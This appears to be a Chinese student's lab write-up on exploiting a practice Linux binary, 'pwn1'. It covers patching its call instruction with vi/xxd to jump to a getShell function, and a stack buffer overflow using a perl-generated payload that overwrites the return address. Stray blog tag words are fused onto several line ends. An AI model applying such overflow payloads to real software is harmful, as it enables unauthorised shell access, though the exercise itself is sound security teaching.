本次實踐的對象是一個名爲pwn1的linux可執行文件。linux
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。函數
咱們將學習兩種方法:學習
•利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。測試
•手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。code
•objdump命令反彙編目標文件;對象
vi內blog
將顯示模式切換爲16進制模式ip
:%!xxd字符串
查找要修改的內容
/內容
轉換16進製爲原格式
:%!xxd -r
存盤退出vi
:wq
·首先進入Vi模式,而後輸入:%!xxd
,將顯示模式切換爲16進制模式
·查找要修改的內容/e8d7
·找到後先後的內容和反彙編的對比下,確認是地方是正確的
·修改d7爲c3
·轉換16進製爲原格式:%!xxd -r
·存盤退出vi:wq
·運行下改後的代碼,會獲得shell提示符#
用objdump -d pwn1 | more
語句來實現反彙編,管道的做用是將前半段的輸出做爲後半段的輸入,從而輸出出來。
在輸出的反彙編語句中找到getshell
函數段
·使用gdb進行測試
從獲得的eip值查ASCII碼可得結果爲1234
•使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
指令將perl生成的字符串存儲到文件input中。
•使用輸出重定向「>」將perl生成的字符串存儲到文件input中。
•能夠使用16進制查看指令xxd查看input文件的內容是否如預期。
•用(cat input; cat) | ./20145228
將input文件做爲輸入